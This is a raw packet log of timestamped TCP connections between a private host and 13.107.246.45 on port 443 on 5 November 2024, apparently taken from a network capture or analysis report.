Nov 5, 2024 22:45:04.556487083 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.556943893 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.556960106 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.557487011 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.557492971 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.689019918 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.689265013 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.689333916 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.689372063 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.689383984 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.689393997 CET	50126	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.689399958 CET	443	50126	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.691929102 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.691976070 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.692048073 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.692178965 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.692194939 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.850653887 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.851161957 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.851181030 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.851708889 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.851712942 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.944993973 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.945202112 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.946348906 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.946358919 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.946683884 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.947891951 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.981487036 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985064983 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985095024 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.985126019 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985388041 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985434055 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.985439062 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985481024 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.985595942 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.985614061 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.985624075 CET	50127	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.985630989 CET	443	50127	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.988049984 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.988090038 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.988445997 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.988445997 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:04.988482952 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:04.991332054 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.065028906 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.069078922 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.069092035 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.069422007 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.069427013 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.116982937 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.117150068 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.117325068 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.117402077 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.117418051 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.117432117 CET	50129	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.117436886 CET	443	50129	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.119797945 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.119837999 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.119915962 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.120033026 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.120048046 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.185666084 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.188488960 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.188514948 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.188960075 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.188965082 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.193361044 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.193397999 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.193419933 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.193463087 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.193479061 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.193494081 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.193521023 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.200820923 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.200982094 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.201054096 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.204392910 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.204413891 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.204425097 CET	50130	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.204431057 CET	443	50130	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.207222939 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.207251072 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.207334995 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.207341909 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.207381964 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.208209991 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.208234072 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.208693027 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.208849907 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.208859921 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.310260057 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.310281992 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.310328007 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.310343027 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.310365915 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.310389996 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.323302984 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.323323965 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.323390961 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.323399067 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.323440075 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.326060057 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.326086044 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.326128006 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.326141119 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.326164961 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.326340914 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.326354027 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.326366901 CET	50131	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.326371908 CET	443	50131	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.328937054 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.328953028 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.329014063 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.329021931 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.329061985 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.333219051 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.333234072 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.333296061 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.333302021 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.333342075 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.439661980 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.439680099 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.439851046 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.439858913 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.439912081 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.443919897 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.443936110 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.443994999 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.444000959 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.444051981 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.447719097 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.447738886 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.447777987 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.447783947 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.447824955 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.447839022 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.467132092 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.467566013 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.467586040 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.468004942 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.468010902 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.546468019 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.546488047 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.546581030 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.546596050 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.546751976 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.559720039 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.559736013 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.559900045 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.559906960 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.560060978 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.563160896 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.563174963 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.563230991 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.563235998 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.563273907 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.565740108 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.565754890 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.565809011 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.565814972 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.565859079 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.604820967 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.604903936 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.605253935 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.605900049 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.605900049 CET	50132	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.605917931 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.605926037 CET	443	50132	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.665606976 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.665622950 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.665694952 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.665721893 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.665765047 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.678153992 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.678169966 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.678229094 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.678237915 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.678253889 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.678278923 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.681139946 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.681154966 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.681210995 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.681219101 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.681256056 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.684165001 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.684179068 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.684225082 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.684231997 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.684257984 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.684267998 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.711863995 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.712348938 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.712377071 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.712763071 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.712769985 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.783746004 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.783761978 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.783814907 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.783828974 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.783870935 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.797369957 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.797384977 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.797427893 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.797435999 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.797482967 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.800200939 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.800215006 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.800295115 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.800303936 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.800347090 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.802906036 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.802921057 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.802983046 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.802990913 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.803158045 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.803158045 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.804570913 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.804586887 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.804640055 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.804646015 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.804811954 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.840415001 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.840471029 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.840533018 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.840718985 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.840735912 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.840744972 CET	50133	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.840749979 CET	443	50133	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.863295078 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.865376949 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.865397930 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.870946884 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.870951891 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.924443960 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.924460888 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.924521923 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.924532890 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.924690962 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.926403999 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.926418066 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.926476955 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.926482916 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.926518917 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.928186893 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.928199053 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.928256989 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.928262949 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.928303957 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.930097103 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.930114985 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.930167913 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.930175066 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.930214882 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.955270052 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.955866098 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.955876112 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.956346035 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.956347942 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.999438047 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.999490976 CET	443	50134	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:05.999794006 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.999794006 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:05.999794006 CET	50134	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.033737898 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.033751965 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.033921957 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.033931017 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.033978939 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.035454035 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.035473108 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.035523891 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.035536051 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.035577059 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.036742926 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.036756992 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.036817074 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.036822081 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.036864042 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.039416075 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.039432049 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.039489985 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.039495945 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.039539099 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.041263103 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.041277885 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.041316032 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.041321993 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.041348934 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.041368961 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.087647915 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.087775946 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.087862968 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.087891102 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.087891102 CET	50135	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.087907076 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.087915897 CET	443	50135	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.153980970 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.153997898 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.154098988 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.154109001 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.154295921 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.155412912 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.155427933 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.155488014 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.155493975 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.155527115 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.157346964 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.157362938 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.157419920 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.157427073 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.157461882 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.158377886 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.158394098 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.158451080 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.158457041 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.158499956 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.160294056 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.160310030 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.160366058 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.160372019 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.160417080 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.271852016 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.271871090 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.271965981 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.271975040 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.272017956 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.273494959 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.273509979 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.273570061 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.273576975 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.273618937 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.275414944 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.275432110 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.275490999 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.275496960 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.275538921 CET	50128	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:06.276465893 CET	443	50128	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:06.276480913 CET	443	50128	13.107.246.45	192.168.2.5
